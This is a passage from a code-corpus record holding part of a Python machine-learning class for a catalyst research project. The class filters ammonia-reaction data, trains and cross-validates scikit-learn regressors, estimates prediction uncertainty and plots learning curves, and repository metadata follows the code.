!= 150)],\n None: self.dynamic_dataset[self.dynamic_dataset.loc[:, 'temperature'] != 150]\n }\n\n self.dynamic_dataset = temp_dict.get(self.temperature_filter)\n else:\n self.dynamic_dataset = self.dynamic_dataset[self.dynamic_dataset.loc[:, 'temperature'] == self.temperature_filter]\n\n def filter_concentrations(self):\n \"\"\" Filter by ammonia concentration. \"\"\"\n\n filter_dict_ammonia = {\n 1: self.dynamic_dataset[(self.dynamic_dataset.loc[:, 'ammonia_concentration'] > 0.5) &\n (self.dynamic_dataset.loc[:, 'ammonia_concentration'] < 1.9)],\n 5: self.dynamic_dataset[(self.dynamic_dataset.loc[:, 'ammonia_concentration'] > 4.8) &\n (self.dynamic_dataset.loc[:, 'ammonia_concentration'] < 5.2)]\n }\n\n self.dynamic_dataset = filter_dict_ammonia.get(self.ammonia_filter, self.dynamic_dataset)\n\n def filter_space_velocities(self):\n \"\"\" Filter by measured space velocity. \"\"\"\n\n filter_dict_sv = {\n 2000: self.dynamic_dataset[(self.dynamic_dataset.loc[:, 'space_velocity'] > 1400) &\n (self.dynamic_dataset.loc[:, 'space_velocity'] < 3000)]\n }\n\n self.dynamic_dataset = filter_dict_sv.get(self.sv_filter, self.dynamic_dataset)\n\n def filter_ruthenium_loading(self):\n \"\"\" Filter by ruthenium weight loading. This is specific to the ammonia project. \"\"\"\n\n filter_dict_ruthenium = {\n 1: self.dynamic_dataset[(self.dynamic_dataset.loc[:, 'Ru Loading'] == 0.01)], # self.dynamic_dataset.query(' dataset?.\"Ru Loading\" == 0.01 ')\n 2: self.dynamic_dataset[(self.dynamic_dataset.loc[:, 'Ru Loading'] == 0.02)],\n 3: self.dynamic_dataset[(self.dynamic_dataset.loc[:, 'Ru Loading'] == 0.03)],\n 32: self.dynamic_dataset[(self.dynamic_dataset.loc[:, 'Ru Loading'] == 0.03) |\n (self.dynamic_dataset.loc[:, 'Ru Loading'] == 0.02)],\n 31: self.dynamic_dataset[(self.dynamic_dataset.loc[:, 'Ru Loading'] == 0.03) |\n (self.dynamic_dataset.loc[:, 'Ru Loading'] == 0.01)],\n 21: self.dynamic_dataset[(self.dynamic_dataset.loc[:, 'Ru Loading'] == 0.02) |\n (self.dynamic_dataset.loc[:, 'Ru Loading'] == 0.01)],\n '3+': self.dynamic_dataset[(self.dynamic_dataset.loc[:, 'Ru Loading'] >= 0.03)],\n 'mol3': self.dynamic_dataset[(self.dynamic_dataset.loc[:, 'Ru Loading'] == 0.0252)],\n }\n\n self.dynamic_dataset = filter_dict_ruthenium.get(self.ru_filter, self.dynamic_dataset)\n\n def filter_pressure(self):\n \"\"\" Filter by reaction pressure. \"\"\"\n\n pass\n\n def filter_promoter(self):\n\n filter_dict_promoter = {\n 'K12': self.dynamic_dataset[self.dynamic_dataset.loc[:, 'K Loading'] == 0.12],\n }\n\n self.dynamic_dataset = filter_dict_promoter.get(self.promoter_filter, self.dynamic_dataset)\n\n def filter_out_elements(self, eles):\n \"\"\" Remove specified elements (eles) from the dataset. \"\"\"\n\n if isinstance(eles, list):\n for ele in eles:\n self.dynamic_dataset.drop(\n self.dynamic_dataset.loc[self.dynamic_dataset['{} Loading'.format(ele)] > 0].index,\n inplace=True\n )\n else:\n self.dynamic_dataset.drop(columns=['{} Loading'.format(eles)], inplace=True)\n\n self.shuffle_dynamic_dataset()\n\n def filter_out_ids(self, ids):\n \"\"\" Filter catalysts from the dataset by their ID numbers. \"\"\"\n\n if isinstance(ids, list):\n for catid in ids:\n self.dynamic_dataset = self.dynamic_dataset[self.dynamic_dataset['ID'] != catid]\n else:\n self.dynamic_dataset = self.dynamic_dataset.drop(index=ids)\n\n self.shuffle_dynamic_dataset()\n\n def shuffle_dynamic_dataset(self, sv=False):\n \"\"\" Randomize the order of the dynamic dataset. \"\"\"\n\n self.dynamic_dataset = shuffle(self.dynamic_dataset)\n\n if sv:\n pd.DataFrame(self.dynamic_dataset).to_csv('..\\\\Dynamic_df.csv')\n\n # Set up training data and apply grouping\n self.set_training_data()\n\n def drop_features(self):\n \"\"\" Use self.drop_columns to remove columns from the features dataframe. \"\"\"\n\n if self.drop_columns is not None:\n cols = self.features_df.columns\n feature_list = list()\n for col in cols:\n if (col.split('_')[0] in self.drop_columns) | (col in self.drop_columns):\n feature_list += [col]\n\n self.features_df.drop(columns=feature_list, inplace=True)\n self.features = self.features_df.values\n else:\n self.features = self.features_df.values\n\n def reduce_features(self):\n \"\"\" Use a feature selection algorithm to drop features. \"\"\"\n\n rfe = RFE(estimator=self.machina, n_features_to_select=25)\n rfe.fit(self.features, self.labels)\n self.features_df[:] = rfe.inverse_transform(self.features)\n self.features_df.to_csv('{}\\\\{}'.format(self.svfl, 'feature_list.csv'))\n\n def set_training_set(self, training_elements=None):\n pass # TODO I want to come up with a clever way to segment into training and test sets...\n\n def train_data(self):\n \"\"\" Train the model on feature/label datasets \"\"\"\n\n self.machina = self.machina.fit(self.features, self.labels)\n\n def predict_data(self):\n \"\"\" Use a trained model to predict based on new features. \"\"\"\n\n self.predictions = self.machina.predict(self.features)\n return self.predictions\n\n def predict_crossvalidate(self, kfold=None):\n \"\"\" Use k-fold validation with grouping by catalyst ID to determine. \"\"\"\n\n if isinstance(kfold, int):\n if kfold > 1:\n self.predictions = cross_val_predict(self.machina, self.features, self.labels,\n groups=self.groups, cv=GroupKFold(kfold))\n else:\n print('Invalid kfold. Resorting to 10-fold validation.')\n self.predictions = cross_val_predict(self.machina, self.features, self.labels,\n groups=self.groups, cv=GroupKFold(10))\n elif kfold == 'LOO':\n self.predictions = cross_val_predict(self.machina, self.features, self.labels,\n groups=self.groups, cv=LeaveOneGroupOut())\n elif kfold == 'LSO':\n self.predictions = cross_val_predict(self.machina, self.features, self.labels,\n cv=LeaveOneOut())\n else:\n print('Invalid kfold. Resorting to 10-fold validation.')\n self.predictions = cross_val_predict(self.machina, self.features, self.labels,\n groups=self.groups, cv=GroupKFold(10))\n\n def calculate_tau(self):\n \"\"\" Calculate tau, the uncertainty scale factor, from known data. Tau is used to estimate MAE in unknown\n parameter space.\n \"\"\"\n\n tree_predition_df = pd.DataFrame(index=self.features_df.index)\n\n # Use each tree in the forest to generate the individual tree prediction\n for nth_tree, tree in enumerate(self.machina.estimators_):\n tree_predition_df.loc[:, 'Tree {}'.format(nth_tree)] = tree.predict(self.features)\n\n # Remove observations (i.e. trees) that are outside 90% CI (less than 5% or greater than 95%)\n forest_stats = tree_predition_df.apply(lambda x: np.percentile(a=x, q=[0, 100]), axis=1)\n for idx, rw in tree_predition_df.iterrows():\n forest_min = forest_stats[idx][0]\n forest_max = forest_stats[idx][1]\n rw[(rw > forest_max) | (rw < forest_min)] = np.nan\n tree_predition_df.loc[idx] = rw\n\n # Calculate scaling parameter per...\n # J. W. Coulston, C. E. Blinn, V. A. Thomas, R. H. Wynne,\n # Approximating Prediction Uncertainty for Random Forest Regression Models.\n # Photogramm. Eng. Remote Sens. 82, 189–197 (2016).\n tau_array = np.sqrt(\n (self.labels - tree_predition_df.mean(axis=1).values)**2 / tree_predition_df.var(axis=1).values\n )\n self.tau = np.nanmean(tau_array)\n print('Tau: {}'.format(self.tau))\n\n def calculate_uncertainty(self):\n \"\"\" Calculate the uncertainty of new predictions. These predictions are scaled by Tau to estimate MAE. \"\"\"\n\n tree_predition_df = pd.DataFrame(index=self.features_df.index)\n\n # Use each tree in the forest to generate the individual tree prediction\n for nth_tree, tree in enumerate(self.machina.estimators_):\n tree_predition_df.loc[:, 'Tree {}'.format(nth_tree)] = tree.predict(self.features)\n\n # print(tree_predition_df.var(axis=1))\n self.uncertainty = np.sqrt(self.tau**2 * tree_predition_df.var(axis=1).values)\n\n def calculate_bias(self):\n #TODO: Finish bias\n n_samples = len(self.labels)\n sq_bias = 1/n_samples * (np.mean(self.labels) - self.labels)**2\n print(sq_bias)\n\n def calculate_variance(self):\n # TODO: Finish variance\n n_samples = len(self.labels)\n vari = 1 / n_samples * (np.mean(self.labels) - self.labels) ** 2\n print(vari)\n\n def predict_leave_one_out(self):\n print('Method predict_leave_one_out depricated: Change to predict_crossvalidate.')\n self.predictions = cross_val_predict(self.machina, self.features, self.labels,\n groups=self.groups, cv=LeaveOneGroupOut())\n\n def predict_leave_self_out(self):\n print('Method predict_leave_self_out depricated: Change to predict_crossvalidate.')\n self.predictions = cross_val_predict(self.machina, self.features, self.labels,\n cv=LeaveOneOut())\n\n def evaluate_regression_learner(self, sv=False):\n \"\"\" Calculate model evaluation parameters, print, and save. \"\"\"\n\n r2 = r2_score(self.labels_df.values, self.predictions)\n mean_abs_err = mean_absolute_error(self.labels_df.values, self.predictions)\n rmse = np.sqrt(mean_squared_error(self.labels_df.values, self.predictions))\n\n print('\\n----- Model {} -----'.format(self.svnm))\n print('R2: {:0.3f}'.format(r2))\n print('Mean Absolute Error: {:0.3f}'.format(mean_abs_err))\n print('Root Mean Squared Error: {:0.3f}'.format(rmse))\n print('Time to Complete: {:0.1f} s'.format(time.time() - self.start_time))\n print('\\n')\n\n if sv:\n pd.DataFrame([r2, mean_abs_err, rmse, time.time() - self.start_time],\n index=['R2','Mean Abs Error','Root Mean Squared Error','Time']\n ).to_csv('{}\\\\eval\\\\{}-eval.csv'.format(self.svfl, self.svnm))\n\n return mean_abs_err, rmse, r2\n\n def predict_all_from_elements(self, elements, loads=None, cv=False):\n \"\"\" Use given elements as a training dataset to predict all other catalysts\n\n :param elements: Elements included in training dataset\n :param loads: Loading of elements to be included\n :param cv: Type of cross validation to perform (default no CV, only make prediction)\n :return: results dataset\n \"\"\"\n\n # Refresh dynamic dataset\n self.filter_static_dataset()\n\n # Create a dataframe of all element/load pairs to filter\n filter_df = pd.DataFrame([elements, loads], index=['Element', 'Loading']).T\n training_index_list = list()\n\n # Set training and test data index lists\n for idx, rw in filter_df.iterrows():\n training_index_list += self.dynamic_dataset[self.dynamic_dataset['{} Loading'.format(rw['Element'])] == rw['Loading']].index.values.tolist()\n\n dynamic_index_list = self.dynamic_dataset.index.values.tolist()\n test_data_index_list = list(set(dynamic_index_list) - set(training_index_list))\n\n # Drop test data from dataset\n self.dynamic_dataset.drop(index=test_data_index_list, inplace=True)\n self.set_training_data()\n\n # Train model\n self.train_data()\n\n if cv is not False:\n if cv is True:\n self.predict_crossvalidate(kfold='LSO')\n else:\n self.predict_crossvalidate(kfold=cv)\n else:\n # Refresh dynamic dataset\n self.filter_static_dataset()\n\n # Drop training data from dynamic dataset\n self.dynamic_dataset.drop(index=training_index_list, inplace=True)\n self.set_training_data()\n\n # Predict test data and compile results\n self.predict_data()\n\n self.compile_results(sv=False)\n\n return self.result_dataset\n\n def compile_results(self, sv=False, svnm=None):\n \"\"\" Create a results dataframe that merges dynamic with hold dataframe \"\"\"\n\n # Create Result DF, add predictions and experimental data\n self.result_dataset = self.dynamic_dataset.loc[self.features_df.index, self.features_df.columns].copy()\n\n \"\"\" Add predictions and labels. \"\"\"\n try:\n self.result_dataset['Predicted Conversion'] = self.predictions\n except ValueError:\n print('No Predictions Generated by model...')\n\n self.result_dataset['Measured Conversion'] = self.labels\n\n \"\"\" Parse Catalyst Names \"\"\"\n for index, edict in self.dynamic_dataset['Element Dictionary'].iteritems():\n edict = ast.literal_eval(edict.replace('dict_items(', '').replace(')])', ')]'))\n self.result_dataset.loc[index, 'Name'] = ''.join('{}({})'.format(key, str(int(val))) for key, val in edict)\n\n i = 1\n for key, val in edict:\n self.result_dataset.loc[index, 'Ele{}'.format(i)] = key\n self.result_dataset.loc[index, 'Load{}'.format(i)] = val\n i += 1\n\n self.result_dataset.dropna(axis=0, inplace=True)\n\n \"\"\" Add uncertainty. \"\"\"\n try:\n self.result_dataset['Uncertainty'] = self.uncertainty\n except ValueError:\n pass\n\n self.result_dataset['group'] = self.groups\n\n \"\"\" Save if requested. \"\"\"\n if sv:\n if svnm is None:\n if self.svnm is not None:\n self.result_dataset.to_csv('{}\\\\result_dataset-{}.csv'.format(self.svfl, self.svnm))\n else:\n self.result_dataset.to_csv('{}\\\\result_dataset-{}.csv'.format(self.svfl, svnm))\n\n def save_dynamic(self):\n \"\"\" Save RAW dynamic dataset - Use \"compile_results\" method unless debugging \"\"\"\n self.dynamic_dataset.to_csv('{}\\dynamic_data-{}.csv'.format(self.svfl, self.svnm))\n\n def extract_important_features(self, sv=False, prnt=False):\n \"\"\" Save all feature importance, print top 10 \"\"\"\n\n try:\n feature_importance_df = pd.DataFrame(self.machina.feature_importances_, index=self.features_df.columns,\n columns=['Feature Importance'])\n except AttributeError:\n return\n\n if prnt:\n print(feature_importance_df.sort_values(by='Feature Importance', ascending=False).head(10))\n\n if sv:\n feature_importance_df.to_csv('{}//features//feature_importance-{}.csv'.format(self.svfl, self.svnm))\n\n new_df = pd.DataFrame()\n\n for nm in feature_importance_df.index:\n feature_importance_df.loc[nm, 'Feature'] = nm.split('_')[0]\n\n for feat in feature_importance_df.Feature.unique():\n new_df.loc[feat, 'Feature Importance'] = feature_importance_df[feature_importance_df['Feature'] == feat]['Feature Importance'].sum()\n\n new_df.sort_values('Feature Importance', ascending=False, inplace=True)\n new_df.to_csv('{}//features//feature_importance-{}-summed.csv'.format(self.svfl, self.svnm))\n\n return feature_importance_df\n\n def hyperparameter_tuning(self, grid=False):\n \"\"\" Method Used to tune hyperparameters and increase accuracy of the model \"\"\"\n rfr_tuning_params = {\n 'n_estimators': [10, 25, 50, 100],\n 'max_features': ['auto', 'sqrt'],\n 'max_depth': [None, 3, 5, 10],\n 'min_samples_split': [2, 5, 10],\n 'min_samples_leaf': [1, 2, 3, 5],\n 'max_leaf_nodes': [None, 5, 20, 50],\n 'min_impurity_decrease': [0, 0.1, 0.4]\n }\n\n gbr_tuning_params = {\n 'loss': ['ls', 'lad', 'quantile', 'huber'],\n 'learning_rate': [0.05, 0.1, 0.2],\n 'subsample': [0.5, 1],\n 'n_estimators': [25, 100, 500],\n 'max_depth': [None, 3, 5, 10],\n 'criterion': ['friedman_mse', 'mae'],\n 'min_samples_split': [2, 5, 10],\n 'min_samples_leaf': [1, 2, 3, 5],\n 'max_features': ['auto', 'sqrt'],\n 'max_leaf_nodes': [None, 5, 20, 50],\n 'min_impurity_decrease': [0, 0.1, 0.4]\n }\n\n etr_tuning_params = {\n 'n_estimators': [10, 25, 50, 100, 200, 400],\n 'criterion': ['mae'],\n 'max_features': ['auto', 'sqrt', 'log2', 0.2, 0.1, 0.05, 0.01],\n 'max_depth': [None, 3, 5, 10],\n 'min_samples_split': [2, 5, 10],\n 'min_samples_leaf': [1, 2, 3, 5],\n 'max_leaf_nodes': [None, 5, 20, 50],\n 'min_impurity_decrease': [0, 0.1, 0.4]\n }\n\n svm_tuning_params = {\n 'epsilon': [1, 1e-1, 1e-2, 1e-3, 0],\n 'kernel': ['linear', 'poly', 'rbf', 'sigmoid', 'precomputed'],\n 'gamma': [1, 1e-1, 1e-2, 'auto'],\n 'degree': [2, 3, 5, 7],\n 'coef0': [0, 1, 1e-1, 1e1, 1e2, 1e-2]\n }\n\n self.machina_tuning_parameters = svm_tuning_params\n\n if grid:\n gs = GridSearchCV(self.machina, self.machina_tuning_parameters, cv=3, return_train_score=True)\n else:\n gs = RandomizedSearchCV(self.machina, self.machina_tuning_parameters, cv=GroupKFold(3),\n return_train_score=True, n_iter=200)\n\n gs.fit(X=self.features, y=self.labels, groups=self.groups)\n pd.DataFrame(gs.cv_results_).to_csv('{}\\\\p-tune-svm_{}.csv'.format(self.svfl, self.svnm))\n\n def visualize_tree(self, n=1):\n \"\"\" Comment \"\"\"\n if n == 1:\n gv = tree.export_graphviz(self.machina.estimators_[0],\n filled=True,\n out_file='{}//Trees//{}.dot'.format(self.svfl, self.svnm),\n feature_names=self.features_df.columns,\n rounded=True)\n\n os.system('dot -Tpng {fl}//Trees//{nm}.dot -o {fl}//Trees//{nm}_singtree.png'.format(fl=self.svfl,\n nm=self.svnm))\n\n else:\n for index, forest in enumerate(self.machina.estimators_):\n gv = tree.export_graphviz(forest,\n filled=True,\n out_file='{}//Trees//{}.dot'.format(self.svfl, self.svnm),\n feature_names=self.features_df.columns,\n rounded=True)\n\n os.system('dot -Tpng {fl}//Trees//{nm}.dot -o {fl}//Trees//{nm}-{ind}.png'.format(fl=self.svfl,\n nm=self.svnm,\n ind=index))\n\n def generate_learning_curve(self):\n train_sizes, train_scores, test_scores = learning_curve(\n estimator=self.machina,\n X=self.features_df.values,\n y=self.labels_df.values,\n groups=self.groups,\n scoring=make_scorer(score_func=mean_absolute_error, greater_is_better=True),\n train_sizes=np.linspace(0.05,1.0,20),\n cv=GroupKFold(10),\n )\n\n train_scores_mean = np.mean(train_scores, axis=1)\n train_scores_std = np.std(train_scores, axis=1)\n test_scores_mean = np.mean(test_scores, axis=1)\n test_scores_std = np.std(test_scores, axis=1)\n\n plt.figure()\n plt.grid()\n\n plt.xlabel(\"Training Set Size\")\n plt.ylabel(\"Mean Absolute Error\")\n\n plt.fill_between(train_sizes, train_scores_mean - train_scores_std,\n train_scores_mean + train_scores_std, alpha=0.1,\n color=\"r\")\n plt.fill_between(train_sizes, test_scores_mean - test_scores_std,\n test_scores_mean + test_scores_std, alpha=0.1, color=\"g\")\n # plt.plot(train_sizes, train_scores_mean, 'o-', color=\"r\",\n # label=\"Training score\")\n plt.plot(train_sizes, test_scores_mean, 'o-', color=\"g\",\n label=\"Cross-validation score\")\n\n plt.ylim(0, 0.4)\n\n plt.legend(loc=\"best\")\n plt.show()\n\n def save_model_parameters_to_csv(self):\n \"\"\" Save all model filter parameters to csv file. \"\"\"\n\n pd.DataFrame(\n [\n self.num_element_filter,\n self.temperature_filter,\n self.ammonia_filter,\n self.ru_filter,\n self.pressure_filter,\n self.sv_filter,\n self.version,\n self.target_columns,\n self.drop_columns,\n self.group_columns,\n self.hold_columns,\n\n ]\n ).to_csv('{}//eval//{}_modelparam.csv'.format(self.svfl, self.svnm))\n\n def find_optimal_feature_count(self):\n ''' '''\n # TODO groups is not working for this method for some reason...\n\n rfe = RFECV(estimator=self.machina, cv=GroupKFold(10), scoring='neg_mean_squared_error')\n rfe.fit(X=self.features, y=self.labels)\n # rfe.fit(X=self.features, y=self.labels, groups=self.groups)\n\n print(\"Optimal number of features : %d\" % rfe.n_features_)\n\n plt.figure()\n plt.xlabel(\"Number of features selected\")\n plt.ylabel(\"Cross validation score (nb of correct classifications)\")\n plt.plot(range(1, len(rfe.grid_scores_) + 1), rfe.grid_scores_)\n plt.show()\n\n def random_feature_test(self, combined=False):\n ''' Create a set of random features to test feature efficacy '''\n\n random_features = np.random.random_sample(self.features.shape)\n\n if combined is True:\n rand_df = pd.DataFrame(\n random_features,\n columns=['RandFeat {}'.format(i) for i in range(len(self.features.transpose()))],\n index=self.features_df.index\n )\n\n self.features_df = pd.concat([self.features_df, rand_df], axis=1)\n\n elif combined is 'temp_only':\n # temperature is correct, but everything else is random\n self.features_df[:] = random_features\n self.features_df.columns = ['RandFeat {}'.format(i) for i in range(len(self.features.transpose()) - 1)] + [\n 'temperature']\n self.features_df['temperature'] = self.dynamic_dataset['temperature']\n\n elif combined is 'temp_and_weights':\n self.features_df[:] = random_features\n self.features_df.columns = ['RandFeat {}'.format(i) for i in range(len(self.features.transpose()) - 1)] + [\n 'temperature']\n\n self.features_df['temperature'] = self.dynamic_dataset['temperature']\n\n weight_loading_columns = [col for col in self.dynamic_dataset.columns if 'Loading' in col]\n self.features_df = pd.concat([self.features_df, self.dynamic_dataset.loc[:, weight_loading_columns]], axis=1)\n\n else:\n self.features_df[:] = random_features\n self.features_df.columns = ['RandFeat {}'.format(i) for i in range(len(self.features.transpose())-1)] + ['temperature']\n rand_temperature = np.random.choice([250, 300, 350], len(self.features))\n self.features_df['temperature'] = rand_temperature\n\n self.dynamic_dataset = pd.concat(\n [self.features_df,\n self.labels_df,\n self.hold_df,\n pd.DataFrame(self.groups, index=self.labels_df.index)\n ],\n axis=1\n )\n\n self.features = self.features_df.values\n\n def drop_all_features(self, exclude=None):\n if exclude is None:\n self.features_df = pd.DataFrame()\n else:\n self.features_df.drop(columns=[x for x in self.features_df.columns if x not in exclude], inplace=True)\n\n self.dynamic_dataset = pd.concat(\n [self.features_df,\n self.labels_df,\n self.hold_df,\n pd.DataFrame(self.groups, index=self.labels_df.index)\n ],\n axis=1\n )\n\n self.features = self.features_df.values\n\n", "repo_name": "traswill/CatalystExMachina", "sub_path": "catalyst_ex_machina/LearnerOrder.py", "file_name": "LearnerOrder.py", "file_ext": "py", "file_size_in_byte": 50167, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "86", "api": [{"api_name": "pandas.DataFrame", "line_number": 35, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 63, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 78, "usage_type": "call"}, {"api_name": "pandas.DataFrame.from_dict", "line_number": 81, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 81, "usage_type": "attribute"}, {"api_name": "pandas.DataFrame", "line_number": 86, "usage_type": "call"}, {"api_name": "pandas.DataFrame.from_dict", "line_number": 91, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 91, "usage_type": "attribute"}, {"api_name": "pandas.concat", "line_number": 95, "usage_type": "call"}, {"api_name": "pandas.DataFrame.from_dict", "line_number": 99, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 99, "usage_type": "attribute"}, {"api_name": "pandas.concat", "line_number": 102, "usage_type": "call"}, {"api_name": "pandas.concat", "line_number": 103, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 112, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 131, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 132, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 133, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 142, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 143, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 144, "usage_type": "call"}, {"api_name": "numpy.empty", "line_number": 147, "usage_type": "call"}, {"api_name": "numpy.empty", "line_number": 148, "usage_type": "call"}, {"api_name": "numpy.empty", "line_number": 149, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 176, "usage_type": "call"}, {"api_name": "os.path", "line_number": 176, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 177, "usage_type": "call"}, {"api_name": "os.makedirs", "line_number": 178, "usage_type": "call"}, {"api_name": "os.makedirs", "line_number": 179, "usage_type": "call"}, {"api_name": "os.makedirs", "line_number": 180, "usage_type": "call"}, {"api_name": "os.makedirs", "line_number": 181, "usage_type": "call"}, {"api_name": "os.makedirs", "line_number": 182, "usage_type": "call"}, {"api_name": "time.time", "line_number": 190, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 219, "usage_type": "call"}, {"api_name": "os.path", "line_number": 219, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 220, "usage_type": "call"}, {"api_name": "os.makedirs", "line_number": 221, "usage_type": "call"}, {"api_name": "os.makedirs", "line_number": 222, "usage_type": "call"}, {"api_name": "os.makedirs", "line_number": 223, "usage_type": "call"}, {"api_name": "os.makedirs", "line_number": 224, "usage_type": "call"}, {"api_name": "os.makedirs", "line_number": 225, "usage_type": "call"}, {"api_name": "sklearn.ensemble.RandomForestRegressor", "line_number": 233, "usage_type": "name"}, {"api_name": "sklearn.ensemble.AdaBoostRegressor", "line_number": 234, "usage_type": "name"}, {"api_name": "sklearn.tree.DecisionTreeRegressor", "line_number": 235, "usage_type": "attribute"}, {"api_name": "sklearn.tree", "line_number": 235, "usage_type": "name"}, {"api_name": "sklearn.linear_model.SGDRegressor", "line_number": 236, "usage_type": "name"}, {"api_name": "sklearn.neural_network.MLPRegressor", "line_number": 237, "usage_type": "name"}, {"api_name": "sklearn.svm.SVR", "line_number": 238, "usage_type": "name"}, {"api_name": "sklearn.neighbors.KNeighborsRegressor", "line_number": 239, "usage_type": "name"}, {"api_name": "sklearn.kernel_ridge.KernelRidge", "line_number": 240, "usage_type": "name"}, {"api_name": "sklearn.ensemble.ExtraTreesRegressor", "line_number": 241, "usage_type": "name"}, {"api_name": "sklearn.ensemble.GradientBoostingRegressor", "line_number": 242, "usage_type": "name"}, {"api_name": "sklearn.linear_model.Ridge", "line_number": 243, "usage_type": "name"}, {"api_name": "sklearn.linear_model.Lasso", "line_number": 244, "usage_type": "name"}, {"api_name": "sklearn.tree.ExtraTreeRegressor", "line_number": 260, "usage_type": "call"}, {"api_name": "sklearn.tree", "line_number": 260, "usage_type": "name"}, {"api_name": "sklearn.ensemble.RandomForestRegressor", "line_number": 385, "usage_type": "call"}, {"api_name": "numpy.ravel", "line_number": 499, "usage_type": "call"}, {"api_name": "numpy.ravel", "line_number": 503, "usage_type": "call"}, {"api_name": "sklearn.utils.shuffle", "line_number": 634, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 637, "usage_type": "call"}, {"api_name": "sklearn.feature_selection.RFE", "line_number": 660, "usage_type": "call"}, {"api_name": "sklearn.model_selection.cross_val_predict", "line_number": 684, "usage_type": "call"}, {"api_name": "sklearn.model_selection.GroupKFold", "line_number": 685, "usage_type": "call"}, {"api_name": "sklearn.model_selection.cross_val_predict", "line_number": 688, "usage_type": "call"}, {"api_name": "sklearn.model_selection.GroupKFold", "line_number": 689, "usage_type": "call"}, {"api_name": "sklearn.model_selection.cross_val_predict", "line_number": 691, "usage_type": "call"}, {"api_name": "sklearn.model_selection.LeaveOneGroupOut", "line_number": 692, "usage_type": "call"}, {"api_name": "sklearn.model_selection.cross_val_predict", "line_number": 694, "usage_type": "call"}, {"api_name": "sklearn.model_selection.LeaveOneOut", "line_number": 695, "usage_type": "call"}, {"api_name": "sklearn.model_selection.cross_val_predict", "line_number": 698, "usage_type": "call"}, {"api_name": "sklearn.model_selection.GroupKFold", "line_number": 699, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 706, "usage_type": "call"}, {"api_name": "sklearn.tree", "line_number": 709, "usage_type": "name"}, {"api_name": "sklearn.tree.predict", "line_number": 710, "usage_type": "call"}, {"api_name": "sklearn.tree", "line_number": 710, "usage_type": "name"}, {"api_name": "numpy.percentile", "line_number": 713, "usage_type": "call"}, {"api_name": "numpy.nan", "line_number": 717, "usage_type": "attribute"}, {"api_name": "numpy.sqrt", "line_number": 724, "usage_type": "call"}, {"api_name": "numpy.nanmean", "line_number": 727, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 733, "usage_type": "call"}, {"api_name": "sklearn.tree", "line_number": 736, "usage_type": "name"}, {"api_name": "sklearn.tree.predict", "line_number": 737, "usage_type": "call"}, {"api_name": "sklearn.tree", "line_number": 737, "usage_type": "name"}, {"api_name": "numpy.sqrt", "line_number": 740, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 745, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 751, "usage_type": "call"}, {"api_name": "sklearn.model_selection.cross_val_predict", "line_number": 756, "usage_type": "call"}, {"api_name": "sklearn.model_selection.LeaveOneGroupOut", "line_number": 757, "usage_type": "call"}, {"api_name": "sklearn.model_selection.cross_val_predict", "line_number": 761, "usage_type": "call"}, {"api_name": "sklearn.model_selection.LeaveOneOut", "line_number": 762, "usage_type": "call"}, {"api_name": "sklearn.metrics.r2_score", "line_number": 767, "usage_type": "call"}, {"api_name": "sklearn.metrics.mean_absolute_error", "line_number": 768, "usage_type": "call"}, {"api_name": "numpy.sqrt", "line_number": 769, "usage_type": "call"}, {"api_name": "sklearn.metrics.mean_squared_error", "line_number": 769, "usage_type": "call"}, {"api_name": "time.time", "line_number": 775, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 779, "usage_type": "call"}, {"api_name": "time.time", "line_number": 779, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 798, "usage_type": "call"}, {"api_name": "ast.literal_eval", "line_number": 851, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 886, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 897, "usage_type": "call"}, {"api_name": "sklearn.model_selection.GridSearchCV", "line_number": 958, "usage_type": "call"}, {"api_name": "sklearn.model_selection.RandomizedSearchCV", "line_number": 960, "usage_type": "call"}, {"api_name": "sklearn.model_selection.GroupKFold", "line_number": 960, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 964, "usage_type": "call"}, {"api_name": "sklearn.tree.export_graphviz", "line_number": 969, "usage_type": "call"}, {"api_name": "sklearn.tree", "line_number": 969, "usage_type": "name"}, {"api_name": "os.system", "line_number": 975, "usage_type": "call"}, {"api_name": "sklearn.tree.export_graphviz", "line_number": 980, "usage_type": "call"}, {"api_name": "sklearn.tree", "line_number": 980, "usage_type": "name"}, {"api_name": "os.system", "line_number": 986, "usage_type": "call"}, {"api_name": "sklearn.model_selection.learning_curve", "line_number": 991, "usage_type": "call"}, {"api_name": "sklearn.metrics.make_scorer", "line_number": 996, "usage_type": "call"}, {"api_name": "sklearn.metrics.mean_absolute_error", "line_number": 996, "usage_type": "name"}, {"api_name": "numpy.linspace", "line_number": 997, "usage_type": "call"}, {"api_name": "sklearn.model_selection.GroupKFold", "line_number": 998, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 1001, "usage_type": "call"}, {"api_name": "numpy.std", "line_number": 1002, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 1003, "usage_type": "call"}, {"api_name": "numpy.std", "line_number": 1004, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 1006, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 1006, "usage_type": "name"}, {"api_name": 